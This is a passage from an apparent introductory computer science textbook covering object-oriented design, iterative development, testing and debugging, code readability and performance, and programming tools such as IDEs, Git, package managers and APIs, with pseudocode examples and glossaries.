- **divide and conquer**: solving smaller versions of a problem and combining the results
- **greedy algorithm**: taking the best-looking choice at each step
- **generate and test**: creating candidate solutions and checking each
- **decomposition**: breaking a task into separately solved sub-problems
- **loss function**: a measure of the difference between a network's actual and desired outputs
- **backpropagation**: using the chain rule to work backward through layers, finding each weight's contribution to the error
- **overfitting**: fitting the training data in ways that don't generalize, shown by test loss rising as training loss falls

Practice questions: 0002.k, page 545.

0002.l Object-oriented concepts

Object-oriented programming is easiest to understand as a way of organizing a program at several levels of granularity, each nested inside the one above. At the largest level, a program is divided into modules with separate responsibilities. Within a module, a class defines a kind of thing. From each class, a program creates many objects, and each object is made of attributes, which hold its data, and methods, which define what it can do. Three principles then govern the boundaries between these pieces. Encapsulation concerns the boundary around a single class, inheritance concerns the

relationship between a class and a more general one, and polymorphism concerns how code can treat objects of different classes alike. This section moves down through the levels and then takes up the three principles in turn. Classes and objects were introduced as data structures in 0002.h, and this section looks at them as tools of design.

Modules: dividing a program

The design techniques of 0002.k included decomposition, and **modularization** is decomposition applied to a whole program. It divides a program into separate units, called modules, each with a clear responsibility and an **interface**, the set of public functions through which other code uses it. The benefit is independence: each module can be developed and tested on its own.[56] Suppose a school scheduling application has a `Roster` module that manages students, a `Rooms` module that manages rooms, and a `Scheduler` module that assigns students to rooms by calling the public functions of the other two. A programmer who needs to change how room capacity is stored can make and test the change entirely within `Rooms`, as long as its public functions keep behaving the same way. This is the interface and implementation distinction of 0002.e at the scale of program parts.

That independence holds only if modules respect one another's boundaries, and two rules follow. First, modules should interact through public functions, not through one another's internal helpers. If three other modules call a helper function that `Rooms` uses internally, then a change to that helper can break all three, because they have come to depend on a detail that was never meant to be shared. Second, one module should own each piece of data. If two modules each store a copy of a user's name, the copies have to be kept in sync and will eventually disagree, so it is better to make one module responsible for names and have the others ask it. A single-file game in which input handling, game rules, and drawing are tangled together, so that any change to drawing tends to break the rules, is the kind of program that benefits from being separated into modules with clear interfaces.

Classes and objects

Within a module, a **class** is a template that defines attributes and methods for one kind of thing, such as a student, a timer, or a bank account. Each **instance**, or object, created from the class holds its own values for those attributes. As a result, a method call affects only the instance on which it is called.[57]

```
01 Counter a = Counter(5)
02 Counter b = Counter(10)
03 a.add(2)
04 output(a.total)
05 output(b.total)
```

```
>>> 7
>>> 10
```

[56] MWC1, Retro: a game library, its modules, and working with agents.
[57] MWC1, Dice: classes, instances, randomness, and repeated runs.

Calling `add()` on `a` changes `a.total` and leaves `b.total` alone. A program that needs three independent timers, each with its own remaining time, should therefore create three `Timer` objects from one class. Some languages also allow a **class attribute**, a single value shared by all instances, such as `Student.total_students`. A shared value like that suits information about the class as a whole, such as a count of how many students exist, but not information about any one student.

Attributes, methods, and constructors

Each object has three kinds of member, and each has a distinct job. **Attributes** store an object's data, such as a book's `title` or whether it has been checked out. **Methods** define its behavior, such as `check_out()`. A method can read the attributes of its own object without being passed them as arguments: after `Circle c = Circle(2)`, the call `c.area()` uses the radius stored in `c`.[58] A **constructor** sets an object's initial state when it is created, and it runs as part of the creation itself, as in `Point p = Point(3, 4)`, which creates a point whose coordinates are `3` and `4`. In Python, the constructor is the method named `__init__`. Without a constructor that sets every attribute, an object can start in an incomplete state. A `Timer` whose `tick()` method subtracts from `seconds` will fail the first time it runs if nothing ever gave `seconds` a value, and the direct fix is a constructor that sets `seconds` when each timer is created.

Encapsulation

With the levels in place, the first principle concerns the boundary around a class. **Encapsulation** bundles data with the methods that operate on it and restricts direct access to the data, so that changes go through code that can validate them. Consider an `Account` class whose `balance` any code can set directly. If the bank forbids negative balances, nothing enforces the rule, and a bug anywhere in the program can break it. If `balance` can change only through methods such as `deposit()` and `withdraw()`, those methods can refuse invalid changes. In the same way, a `Thermostat` that should allow only temperatures from 50 to 90 can enforce that range in a `set_temp()` method that rejects other values, whereas a comment saying "keep between 50 and 90" can't enforce anything.

Encapsulation has a second benefit, which follows from the first. Because other code depends only on the methods, the internals can change without breaking it. A class that stores its values in an array behind `add()` and `get()` methods can switch to a map, and code that uses the class won't notice. Encapsulation is a design tool, which limits how parts of a program can depend on one another's data. It isn't a form of encryption or a defense against attackers.

Inheritance

The second principle concerns relationships between classes. **Inheritance** lets a **subclass** reuse and extend the attributes and methods of a **parent class**, which places shared behavior in one location. If `Car` and `Truck` have identical `start()` and `stop()` methods and identical `fuel` attributes, and only `load_cargo()` is specific to trucks, a parent class `Vehicle` can hold the shared members, with

[58] MWC1, Dice: classes, instances, randomness, and repeated runs.

both classes inheriting from it. A subclass instance has the parent's members as well as its own, so if `Dog` inherits from `Animal`, which has a `name` attribute and a `describe()` method, then `Dog d = Dog("Rex")` can call both `d.describe()` and `Dog`'s own `fetch()`. Because shared behavior lives in one place, correcting a bug in a parent's method also corrects it for every subclass that inherits the method without overriding it.[59]

Inheritance should follow behavior and not only everyday categories. A subclass should preserve its parent's expected behavior, so that it can be used wherever the parent is expected. A square is a kind of rectangle in geometry, yet a `Square` class that inherits from `Rectangle` can break: a program that sets a rectangle's width expects the height to stay the same, and a square can't allow that and remain square. In a case like this, "is a" in ordinary language isn't enough reason to inherit.

Polymorphism

The third principle concerns how code treats objects of different classes. **Polymorphism** lets objects of different classes respond to the same method call in their own ways. Often this happens through **overriding**, in which a subclass provides its own version of a method that its parent defines. If `Employee` has a `pay()` method that `Manager` and `Intern` override in different ways, then calling `staff[i].pay()` on an array of employees runs the version that belongs to each object's actual class.

```
01 Shape[] shapes = [Circle(2), Square(3)]
02 for (int i = 0; i < shapes.size[1]; i = i + 1)
03   shapes[i].draw()
```

Each object draws itself in its own way, and the loop needs no `if` statements that check what kind of shape it holds. The alternative is a long chain of `if` statements that tests each object's type before calling type-specific code, and every new type then requires editing every chain. Polymorphism moves the type-specific behavior into the classes themselves, so adding a new kind of shape means writing one new class. A simple classroom example is `Dog` and `Cat` classes that each define `speak()`, with a loop that calls `speak()` on each pet.

All of these ideas aim at programs that can be changed safely, by limiting how much each part has to know about the others. That makes them a natural bridge to the next section, which looks at programs as things that are built and changed in repeated cycles.

- **modularization**: dividing a program into separate units with clear responsibilities and interfaces
- **interface**: the public functions or methods through which other code uses a module or class
- **class**: a template defining attributes and methods
- **instance (object)**: one object created from a class, holding its own values
- **class attribute**: a value shared by all instances of a class
- **attribute**: data stored in an object
- **method**: behavior defined for an object

[59] MWC2, Riddle Server: views, models, fields, subclasses, and an API specification.

- **constructor**: code that sets an object's initial state when it is created
- **encapsulation**: bundling data with its methods and restricting direct access, so changes go through code that can validate them
- **inheritance**: a subclass reusing and extending a parent class's attributes and methods
- **subclass**: a class that inherits from a parent class
- **polymorphism**: objects of different classes responding to the same method call in their own ways
- **overriding**: a subclass providing its own version of a parent's method

Practice questions: 0002.l, page 577.

0002.m Iterative design

Programs are rarely right the first time, and the practices in this section are ways of finding out what is wrong while it is still cheap to fix. They form a cycle. A project begins by understanding what its users need. It tries ideas out cheaply with prototypes, builds in small working steps that are each tested, and uses what it learns to revise the plan before the next round. The section follows that cycle from beginning to end, and then steps back to the scale of a whole project, where two well-known approaches, waterfall and agile, differ chiefly in how often they go around it.

The cycle

Iterative development repeats cycles of planning, building, testing, and revising small working versions, in place of delivering everything at once at the end. Its central benefit is early, frequent feedback. A team that builds every planned feature before anyone uses it can spend months on something that doesn't meet the need, while a team that builds a small working version, watches people use it, and revises its plan exposes wrong assumptions before much has been invested.[60][61] A student team building an app to help classmates find study partners might first build a version that only lists students by course, gather reactions, and then revise its plans before adding messaging. A student with two weeks to build a quiz app might have a working one-question quiz in the first few days, and add features after trying it. Under this approach, plans are expected to change with the evidence. If the second iteration shows that users ignore a feature that took weeks to build, the right response is to change or drop it in the next cycle, not to defend the time already spent.

Starting from needs

Every cycle depends on knowing what the program is for, so effective programs begin with identifying users' needs and the program's **requirements**, usually by talking with the people who will use it. Asked to "make an app for the library," a student should first talk with the librarian and patrons, before writing any code. These conversations reveal constraints that are invisible from outside. A

[60] MWC1, Drawing project: planning, milestones, debugging, and version control through `mwc submit`.
[61] MWC1, Game project: proposing, building, and revising a personally meaningful game.

beautifully designed attendance app is useless to a teacher if students' phones aren't allowed in class, and only someone familiar with the setting would know that.

A well-stated requirement says what is needed, not how to build it. "Students must be able to see their grades on a phone" is a requirement, because it leaves open many ways of providing it, whereas "use a red table on the home page" is already an implementation decision. Different groups of users often want different things, and requirements work includes facing those conflicts. If teachers want detailed logs of student activity and students want privacy, the right step is to discuss the conflict with both groups and decide on an acceptable balance, not to let one group's wishes silently prevail.[62]

Trying ideas cheaply

Once needs are understood, the next question is whether a proposed design meets them, and the cheapest way to find out is a **prototype**: an early version, anything from a paper sketch to a simple working program, built to test an idea and gather feedback before major investment. To learn whether students understand a new navigation layout, a team can test a clickable sketch with a few students. The roughness of a prototype is an advantage. A rough paper sketch signals that the design can still change, so users focus on what the app does and make suggestions freely, whereas a polished demo invites comments on colors and fonts. Prototypes can test technical risks as well as designs: a developer unsure whether a sensor can respond quickly enough for a game can write a short program that only reads the sensor and prints its timing, which tests that one risky assumption before the rest of the game is built.

Because prototypes are built to learn quickly, they aren't finished products. They usually lack the reliability, testing, and security of finished software, so shipping a working prototype as the final product carries real risks.

Building in small steps

When the real building begins, the same principle of small steps applies to the code itself. **Incremental testing** means adding and testing one small feature at a time. This keeps the program working at every stage, and when a new bug appears, it is probably related to the last change, which narrows the search. A student who adds login, messaging, and profile pictures all at once, and then finds that the app crashes on launch, has three large changes to search. A student writing a function that reads a file, parses it, and prints a summary does better to write the reading step and test it, then add parsing and test it, then add the summary and test that. If a program worked before the last commit and fails now, the place to look is the small change in that commit. Teams build this into their workflow by requiring all tests to pass before any change is merged, which keeps new changes from silently breaking something that used to work. 0002.n describes testing in more detail.

[62] MWC2, Banjo app: a teacher portal case study, including requirements, components, and FERPA.

Waterfall and agile

At the scale of a whole project, the question is how many times to go around this cycle. **Waterfall** development completes phases such as requirements, design, implementation, and testing in sequence, finishing each before starting the next, often with formal approval at each stage. It suits projects with stable, fixed specifications, such as a government system built to a detailed specification with little contact with users after the requirements are set. Its weakness is that problems discovered late are costly. If testing in the final phase reveals that a key requirement was misunderstood, much of the work built on it has to be redone.

Agile methods instead use short cycles, frequent delivery of working versions, and regular feedback, which suits uncertainty, as for a start-up building an app for a market it doesn't yet understand. A team that holds short daily meetings, delivers a working version every two weeks, and adjusts its priorities after each customer review is working in an agile way. Agile is sometimes taken to mean that no planning or documentation is needed, but that is a misunderstanding. Agile teams plan and document continually, in small increments, instead of all at once at the start.

Iterative design assumes that errors will occur and organizes work so that they surface early. The next section looks at the errors themselves, and at the testing and debugging that find and fix them.

- **iterative development**: repeating cycles of planning, building, testing, and revising small working versions
- **requirement**: a statement of what users need a program to do, independent of how it is built
- **prototype**: an inexpensive early version, from a paper sketch to a simple program, built to test an idea
- **incremental testing**: adding and testing one small feature at a time
- **waterfall**: development that completes phases such as requirements, design, and testing in sequence
- **agile**: development that uses short cycles, frequent delivery, and feedback

Practice questions: 0002.m, page 599.

0002.n Errors, testing, and debugging

Dealing with errors involves three distinct activities, and it helps to keep them apart. The first is knowing what can go wrong: the kinds of error, and the specific mistakes that cause most of them. The second is **testing**, which finds out *whether* a program is wrong by running it on chosen inputs and comparing the results with what should happen. The third is **debugging**, which finds out *where* and *why* it is wrong once a test has failed. A fourth tool, static analysis, checks code without running it at all, and it complements testing without replacing it. The section takes these in that order, starting from a classification of errors by when they become visible, since that determines which tool can catch them.

Three kinds of error

Errors can be sorted by the moment they show themselves.[63] A **syntax error** breaks the rules of a language, such as a missing parenthesis or a misspelled keyword, so the program can't run at all: the whole text is checked against the language's rules before any statement executes, and nothing is displayed, not even output from lines before the mistake. A **runtime error** occurs while the program is running, when it attempts something impossible, such as reading an index that doesn't exist, and execution stops with an error message. A **logic error** is the hardest kind, because the program runs to completion and produces a wrong result with no message at all. A function meant to return the larger of two values that returns `3` for `larger(3, 8)` has a logic error, likely a comparison written backward, and a program that counts readings "at or below freezing" with `c < 0` has a logic error that excludes the boundary value `0`. Since nothing announces a logic error, only a test that compares the output with the right answer can reveal it.

Common mistakes

Most errors come from a short list of mistakes, and most of those occur at the edges of loops and data.

An **off-by-one error** makes a loop run one time too many or too few, often from confusing `<` with `<=`.[64] With zero-based indexing, an array of size `n` has indexes `0` through `n - 1`, so its final index is `n - 1`. A loop over five scores written as `for (int i = 0; i <= s.size[1]; i = i + 1)` outputs all five values and then reaches `s[5]`, which doesn't exist, and produces `ERROR`. A loop meant to run once for each of 6 seats but written `for (int i = 1; i < 6; i = i + 1)` runs only 5 times. Loops that look ahead need an earlier stop: a comparison of `v[i]` with `v[i + 1]` must use `i < v.size[1] - 1`, so that `i + 1` is always a valid index. "Variable-focused iteration" lists the boundary checks worth making on every loop.

An **infinite loop** occurs when a loop's condition never becomes false. Often the loop variable isn't updated inside the loop's block at all, perhaps because the update line isn't indented under the loop, so check the indentation. Sometimes the variable is updated but in a way that never reaches the stopping point:

```
01 int x = 100
02 while (x != 0)
03   x = x - 15
```

Here `x` goes `100`, `85`, …, `10`, `−5`, and it skips past `0` without ever equaling it, so the loop never ends. A condition such as `x > 0` would stop it. An update can also fail to change the value at all. A loop meant to halve `n` until it reaches `1`, but whose update is `n = n - n % 2`, subtracts `0` whenever `n` is even, because `8 % 2` is `0`, so `n` stays `8` forever. Tracing one pass by hand exposes this kind of mistake at once. Values of type `float` raise a subtler case: in this notation a `float` is treated as having infinite precision, so a loop that halves a positive `float` until it equals `0.0` never ends,

[63] MWC1, Turtle: first programs, sequence, errors and bugs.
[64] MWC1, Iteration: lists, `for` loops, and `range`.

though on real hardware rounding would eventually produce `0.0`. Not every loop with an always-true condition is a mistake. A loop written `while (TRUE)` can end through `break`, which exits the loop immediately and continues with the first line after it, so a loop that reads input and breaks when the input is `0` ends there and goes on to its next line.

Runtime errors take a few common forms. An index out of bounds is one. Dividing by zero is another, including the easily missed case of averaging an empty array, or computing a percentage when the total is `0`. Reading a map key that doesn't exist is a third, so a program should check that a key is present before reading it. Using a value of the wrong type is a fourth, as when == compares an `int` with a `String`, or when >= compares a number with a form field that arrives as text. Map keys must match exactly, including capital letters, so reading `"Pencil"` from a map that holds `"pencil"` is a missing key. In this notation, invalid or undefined values produce `ERROR`. Guarding an index means checking it before using it, as in `if ((i >= 0) AND (i < v.size[1]))` around the access.

Changing a list while looping over it combines several of these problems. Adding to a list while looping over it can make the loop run much longer than expected, or indefinitely, because a stopping condition that depends on the list's size keeps moving. A loop that appends a doubled copy of each value with `i < v.size[1]` as its condition never catches up with the end. The fix is to store the original size before the loop:

```
01 int n = v.size[1]
02 for (int i = 0; i < n; i = i + 1)
03   v.append(v[i] * 2)
```

Deleting while looping forward has the opposite problem. Each deletion shifts later values down one position, so the value that moves into position `i` is skipped when `i` increases, and a loop meant to remove every low score leaves one behind when two low scores are adjacent. Looping backward avoids this, since a deletion then shifts only values that have already been checked:

```
01 for (int i = v.size[1] - 1; i >= 0; i = i - 1)
02   if (v[i] < 60)
03     v.del(i)
```

Testing

Knowing the common mistakes suggests where to look for them, which is the basis of choosing **test cases**. Good test cases include typical values, values at and just beyond each boundary, and unexpected input such as empty values. A function that returns `"pass"` for scores from `60` through `100` and `"invalid"` otherwise should be tested with `59`, `60`, `100`, and `101`, since off-by-one mistakes live exactly there. A form accepting ages 13 through 18 that has been tested with `15` still needs `12`, `13`, `18`, `19`, and a blank entry. Typical cases alone can pass while edge cases fail, and so can many random values, since random values seldom land exactly on a boundary. A function that starts a running maximum at `0` passes on ordinary lists and returns the wrong answer when every value is negative, so a list of negative values is also worth testing. A function that finds the middle value of a sorted array may work on every ordinary array and fail on an empty one, where it tries to read an

index that doesn't exist. For a sort, the important edge cases are arrays with duplicates, with one value, and with none.

Testing becomes reliable when it is automatic. A **unit test** automatically checks that a small piece of code, usually one function, gives the expected output for a given input. Functions that take parameters and return values are the easiest to unit test, because their inputs and expected outputs are easy to state, while a function that reads keyboard input and prints its result is hard to check automatically. Units can each pass while failing in combination, as when a login function and an account function both work alone but the account function misreads what login passes it, so **integration testing** checks that units work together. And when a bug is fixed, adding a test for the input that revealed it creates a **regression test**, which keeps the bug from quietly returning in a later change. When a test fails, the fault may lie in the code or in the test itself, since the expected value written down in advance can also be wrong; a check that expects `18` for the area of a `4` by `5` rectangle fails even though the function is right.

Debugging

When a test fails, debugging begins, and the difference between effective and ineffective debugging is mostly method. **Systematic debugging** means reproducing the problem with a specific input, isolating it to a specific location, forming a hypothesis about the cause, testing the hypothesis, changing one thing at a time, and retesting. Reproducing comes first, because a fix can't be checked against a problem that can't be made to happen. Isolating can be done efficiently by checking values in the middle of a function, which tells you which half contains the problem, much as binary search does.[65] A hypothesis should lead to a direct test: if you suspect that a loop runs one time too few, printing the loop counter on each iteration shows exactly how many times it runs. Changing one thing at a time is what makes the process informative. A student who changes three lines and sees the bug disappear doesn't know which change mattered, or whether one of them introduced a new error, and a student who keeps changing several lines at once and rerunning has stopped learning anything from each run. A result that refutes a hypothesis is still useful, since it rules out one cause. For example, printing the counter shows that a loop does visit every position, and attention then moves to the loop's block. After a fix, rerun the earlier tests as well as the one that failed, because a change can break a case that used to pass: a leap-year condition changed to reject `1900` may also start rejecting `2000`.

Careful tracing often finds bugs that hide at the end of the data. A program meant to report the longest run of identical values might update its record, `best`, only when a run ends with a different value. If the longest run is at the end of the array, it never ends that way, so `run` reaches `3` while `best` stays at `2`.

[65] MWC1, Typeface: decomposition and debugging in a problem set.

Static analysis

Testing and debugging both run the program. **Static analysis** instead examines source code without running it, and a **linter** is a tool that does this, flagging problems such as undefined variables, names that are declared but never used, and violations of style conventions. A linter would catch a variable `rte` that was never declared, perhaps a misspelling of `rate`, and a variable that is assigned but never read. What it can't catch are errors that depend on runtime values, such as dividing by a `0` that a user enters, or errors of meaning, such as a wrong formula for a tax amount, since a linter doesn't know what the program is supposed to compute. Static analysis and testing therefore find different kinds of problems, and a linter doesn't make testing unnecessary.

Several practices in this section, such as descriptive names and clear structure, also make errors less likely in the first place and easier to find when they occur. The next section turns to those qualities of code directly.

- **syntax error**: an error that breaks a language's rules, so the program can't run
- **runtime error**: an error during execution that stops the program
- **logic error**: an error that produces wrong results without any message
- **off-by-one error**: a loop that runs one time too many or too few
- **infinite loop**: a loop whose condition never becomes false
- **`break`**: a statement that exits a loop immediately
- **test case**: an input with its expected output, chosen to check a program
- **edge case**: an input at or beyond the limits of expected values, such as a boundary or an empty array
- **unit test**: an automatic check that one small piece of code gives the expected output
- **integration testing**: checking that units work correctly together
- **regression test**: a test that keeps a fixed bug from returning
- **systematic debugging**: reproducing, isolating, hypothesizing, changing one thing at a time, and retesting
- **static analysis**: examining source code without running it
- **linter**: a static analysis tool that flags undefined or unused names and style violations

Practice questions: 0002.n, page 611.

0002.o Performance, readability, and documentation

Code has two audiences. The computer executes it, and the qualities that matter to the computer are correctness and speed. People read it, whether teammates, a teacher, or the original author months later, and what matters to them is whether they can understand it and change it safely. This section is organized around those two audiences. It begins with the practices that serve human readers, which are naming, comments and documentation, and named constants. It then considers refactoring, which improves structure for readers while leaving the computer's view unchanged. It ends with performance, where the main lesson is that the biggest gains come from choosing the right structures and algorithms, which seldom requires sacrificing readability.

Writing for readers

Names are the first thing a reader sees. Descriptive names such as `count_passing`, `scores`, and `cutoff` communicate a variable's purpose, so a reader doesn't have to work it out from how the variable is used, and a function named `has_negative` tells a caller what it reports before they read a line of its body. Names don't affect what a program does or how fast it runs. Two versions of a program that differ only in their names produce identical output, and one of them is simply easier to read.[66] Consistent conventions matter as well. A project in which some functions are called `get_total` and others `CalcSum` and `fetchAverage` makes a reader stop and wonder whether the differences mean something, whereas a shared convention makes code predictable.

Names say what something is, and comments can say what names can't. Good comments explain *why* code exists, rather than restating what it does, since the code already shows what it does. Above `rate = 0.0725`, a comment such as `/* set the rate */` merely restates the line, while `/* state sales tax rate for 2031; update each January */` explains the value's meaning and origin and tells a future reader when it needs attention. Comments carry a risk that code doesn't: they aren't checked by the computer, so when code changes and its comment doesn't, the comment misleads. A function whose comment says it returns dollars, after a later change made it return cents, is worse off than one with no comment at all.

Documentation serves a different reader, the person who uses a program or function without reading its inside. It describes how to use it: its purpose, its inputs or parameters, its outputs or return value, and any errors it can produce. A programmer publishing a function for others should document exactly these things, since callers need to know how to use it, not how it works internally. This is the interface of 0002.e and 0002.l, put into words.

Numbers deserve the same care as names. A **magic number** is an unexplained number in code, such as `86400` appearing in several calculations. Replacing it with a **named constant** such as `SECONDS_PER_DAY` states its meaning, and it means the value can be changed in one location. Values that happen to be equal still need separate names when they mean different things. If a game uses `3` for both the number of lives and the number of levels, a designer who changes lives to `5` with a global search and replace will change the levels too, and separate constants for lives and levels would have prevented it. Judgment still applies, and a rule against all bare numbers needs exceptions: starting an index at `0` in a loop is clear without a name.

Refactoring

The practices above can be applied while code is written, but code also needs improving after the fact. **Refactoring** means changing a program's internal structure to improve readability or maintainability without changing its behavior. Extracting a repeated block into a function, splitting a long function into three smaller ones, or removing a statement that appears in both branches of an `if` are all refactorings:

[66] MWC1, Names: variables, values, and functions with arguments.

```
01 if (paid)
02   output("ok")
03   status = "member"
04 else
05   output("ok")
06   status = "guest"
```

Since `output("ok")` runs first in both branches, it can move to a single line before the `if`, and the program behaves exactly as before. That condition, unchanged behavior, is what defines refactoring, so fixing a bug or adding a feature isn't refactoring, even when it is done at the same time. Tests provide the evidence that behavior hasn't changed: if all tests pass with the same outputs after restructuring, the refactoring has preserved behavior as far as the tests can tell. This is why the safest first step in refactoring a function with no tests is to write tests that capture its current behavior.

Writing for the computer

Readability and performance are often presented as opposites, but most performance gains come from changes that also keep code clear. One of the simplest is to **move unchanging work out of loops**. A value that doesn't change from one pass to the next should be computed once, before the loop. A loop's condition is evaluated before every pass, so an expensive call placed in the condition repeats on every pass as well. The effect can change an algorithm's growth class:

```
01 int count = 0
02 for (int i = 0; i < s.size[1]; i = i + 1)
03   if (s[i] > average(s))
04     count = count + 1
```

If `average(s)` loops over the whole array, calling it on every pass makes this $O(n^2)$. Since the average doesn't depend on `i`, computing it once before the loop, as `int avg = average(s)`, and comparing with `avg` makes it O(n) with the same output. Similarly, a loop that calls `Math.sqrt(area)` on each iteration, when `area` doesn't change, should store the square root in a variable first. The restriction is essential: only work that truly doesn't change can be moved. If an expression depends on a value that changes inside the loop, moving it out produces wrong results.

The largest gains come from a higher level. **Choosing a suitable data structure or algorithm** generally improves performance far more than small adjustments to individual lines, because it changes the growth class, the subject of 0002.k. A school program that scans an array of records from the beginning for each of thousands of daily lookups by ID becomes much faster with a map keyed by student ID, since key lookup is typically close to constant time. A program checking whether each new name has been seen before benefits in the same way from a map with names as keys. A sorted list of a million values used for many lookups gains far more from switching to binary search, from O(n) to O(log n), than from rewriting its linear search in faster-looking code. Removing comments or shortening names, by contrast, does nothing for speed.

Before optimizing anything, **measure**, to find out where the time actually goes. Effort spent on a part of a program that rarely runs is wasted, and a 2% gain from careful micro-optimizations that

make a loop much harder to read is usually a bad trade. Measuring first directs effort to where it matters, and usually that turns out to be a choice of structure that serves both audiences at once.

Readable, well-structured code matters most when several people work on it, and the tools that support that work are the subject of the final section of this competency.

- **descriptive name**: a variable or function name that communicates its purpose
- **comment**: a note in code, best used to explain why the code exists
- **documentation**: a description of how to use a program or function, including its purpose, inputs, outputs, and errors
- **magic number**: an unexplained number in code
- **named constant**: a named value, such as `SECONDS_PER_DAY`, that replaces a magic number
- **refactoring**: changing internal structure to improve readability or maintainability without changing behavior

Practice questions: 0002.o, page 639.

0002.p Tools and collaboration

Very little software is written by one person from nothing. Programmers work with tools that help them write and inspect code, with teammates who share the same code, and with code written by people they will never meet. This section widens in those three circles. It starts with the individual programmer's workbench, the integrated development environment and its debugger. It moves to the team, where version control and a set of shared practices let several people change the same code without losing work or knowledge. And it ends with the wider world of libraries, package managers, and APIs, where reuse brings legal and ethical obligations along with technical benefits.

The programmer's workbench

A programmer can get by with a plain text editor, a separate terminal for running programs, and print statements for finding bugs. An **integrated development environment (IDE)** combines these jobs in one application: an editor, a debugger, and tools to build and run programs. IDEs usually add further help, such as code completion, which suggests names as you type, background error checking, which underlines problems as code is written by running the kind of static analysis described in 0002.n, and integration with version control. Running a program and then stepping through it line by line can therefore be done in one place, without switching tools.

Some teachers and students object that an IDE hides what is happening. There is something to this, since an IDE is an abstraction over separate tools for editing, compiling or interpreting, and debugging, and those tools are still worth understanding. The reasonable position is to learn how the underlying tools work and then use an IDE for the productivity it brings, in the same way that 0002.e describes using any abstraction.

The **debugger** is the IDE tool most directly tied to the debugging process of 0002.n. It lets a programmer pause a program at a **breakpoint**, a marked line, then step through it line by line and

inspect variable values, all without editing the code. To watch `total` change on each pass of a loop, set a breakpoint inside the loop and inspect `total` at each stop, where the alternative would be adding and later removing print statements. A **conditional breakpoint** pauses only when a stated condition is true, which is far more efficient when a bug appears for one specific input after thousands of iterations. When paused at a line that calls a function, "step into" enters the called function to follow its statements, while "step over" runs the whole call as one step and pauses at the next line. "Step out" finishes the function being run and pauses back in the code that called it, and "continue" resumes the program until the next breakpoint or the end. Interactive debugging has limits, though. An error that occurs only on a remote server in production can't easily be paused and inspected, and there, log statements that record events as the program runs are the better tool.

Working as a team

When several people change the same code, they need a shared record of what changed, and **version control** provides it. A system such as Git records a project's history as a series of **commits**, each a recorded snapshot of the project, with a message explaining what changed and why. "Fixed stuff" is a poor message, because it tells teammates nothing they can use later. **Branches** let people work separately: a student who wants to try a risky change without affecting the working version can make it on a separate branch, and either keep it or discard it. **Merging** combines changes from different branches. Git can merge most changes automatically, but when two people have edited the same lines, it reports a **merge conflict**, and a person has to decide how the two changes should be combined, because the tool can't know what either person intended. History also helps with debugging. If a bug appeared at some point in the last 40 commits, testing earlier commits, which tools such as `git bisect` do efficiently by halving the range each time, finds the commit that introduced it.[67]

Version control handles the code, and a set of practices handles the people. In **code review**, another developer reads each change before it is merged, which catches problems and also spreads knowledge of the code across the team, so that no part of it is understood by only one person. In **pair programming**, two people work together on one task: a driver types while a navigator reviews and thinks ahead, and they switch roles regularly. An **issue tracker** keeps a shared record of bugs and tasks, so they aren't lost in scattered chat messages and emails. A **style guide**, often enforced by an automatic formatter, settles questions of formatting once, so that reviews can focus on logic. The interpersonal side of review matters as much as the technical side. A useful review comment is specific and respectful, as in "Could this be split into two functions? I had trouble following the second loop," which names the problem and suggests a remedy without judging the author.[68]

Code from outside the team

The widest circle is code written elsewhere. A **library** is reusable code that a program calls instead of reimplementing, such as a library for reading CSV files. Libraries are especially valuable when a

[67] MWC1, Drawing project: planning, milestones, debugging, and version control through `mwc submit`.
[68] MWC2, Banjo app: a teacher portal case study, including requirements, components, and FERPA.

task is hard to get right and errors are costly, as with cryptography, where a well-maintained library handles difficult details that a single programmer could easily get wrong. Downloading a library's files and pasting them into a project works, but it loses track of where the code came from and which version it is. A **package manager** installs libraries and tracks their versions as **dependencies**.[69] Recording exact dependency versions in a project's configuration makes environments reproducible, which prevents a program from working on one laptop and failing on a classmate's because the two have different versions of a library. It also makes upgrades easier: when a security advisory reports a flaw in a library, the package manager shows which version is installed and can upgrade it. The same record lets a project go back to an earlier version when an upgrade breaks a function the program calls, and a library may itself depend on other libraries, so installing one library can install several packages. A program run on a computer that lacks a library it calls fails with a message that the library was not found, and installing the recorded dependencies there fixes it.

Some services are reached over a network instead of installed. An **application programming interface (API)** defines how programs can request services or data from another system, without needing to know how that system is implemented. A weather app that sends a request for a city's forecast to a provider's published address and receives data in a documented format is using an API, though it knows nothing about how the forecast is produced.[70][71] An API is a contract, and the interface and implementation distinction of 0002.e applies directly: if a map company changes the internal system behind its directions API but keeps the requests and responses the same, programs that use the API keep working without changes. For the same reason, a program that calls a documented API breaks less often than one that pulls data out of a web page's layout, which is meant for people and changes whenever the page is redesigned. To use an API, start with its documentation of endpoints, the addresses that accept requests, along with their parameters and responses. Relying on an API also creates a dependency on someone else's decisions. The provider controls its terms, which can change, so a program built on a free API can stop working when the provider imposes a limit of 100 requests a day.

Reusing code also brings obligations that are legal and ethical as well as technical. Responsible reuse requires understanding what the code does, following its **license**, and crediting its source where required. A function pasted from a forum without being read may not do what the student assumes. Licenses set the conditions of reuse, which may include attribution or sharing changes, so following the license's terms is the obligation that most often accompanies open-source code. Code with an unknown license, such as a function copied from a blog post into a commercial product, may not be legal to reuse at all, because the company may lack the right to use it. A comment that names the original project and its license both gives credit and shows that the terms are being followed. Code produced by a generative AI tool calls for the same care as any other reused code: read it and test it until you understand what it does before relying on it.

[69] MWC1, Retro: a game library, its modules, and working with agents.
[70] MWC1, Weather: dictionaries, web APIs, and distributed services.
[71] MWC2, Riddles: HTTP requests, responses, verbs, and status codes.

Closing the competency

This section completes a path through computational thinking and programming. It began with models and data, moved through the core ideas of decomposition, abstraction, algorithms, and data structures, examined how algorithms are represented, evaluated, and organized into objects, and followed programs through design, testing, and refinement. The tools and practices here are where all of that meets the working world, in which programs are built by people working together and drawing on one another's code. Everything so far has treated the computer as a reliable machine that runs whatever it is given. The next competency, beginning with 0003.a, opens that machine up, looking at the hardware, software, and networks that programs run on and communicate through.

- **integrated development environment (IDE)**: an application combining an editor, debugger, and build or run tools
- **code completion**: an editor feature that suggests names and code as you type
- **debugger**: a tool for pausing a program, stepping through it, and inspecting variables
- **breakpoint**: a marked line at which a debugger pauses a program
- **conditional breakpoint**: a breakpoint that pauses only when a condition is true
- **step into / step over**: entering a called function, or running the call as one step
- **version control**: a system, such as Git, that records a project's history
- **commit**: a recorded snapshot in a project's history, with a message explaining the change
- **branch**: a separate line of work in version control
- **merge**: combining changes from different branches
- **merge conflict**: overlapping changes that a person must resolve
- **code review**: reading another developer's change before it is merged
- **pair programming**: two people working on one task, as driver and navigator
- **issue tracker**: a shared record of bugs and tasks
- **style guide**: shared conventions for formatting and naming code
- **library**: reusable code that a program calls
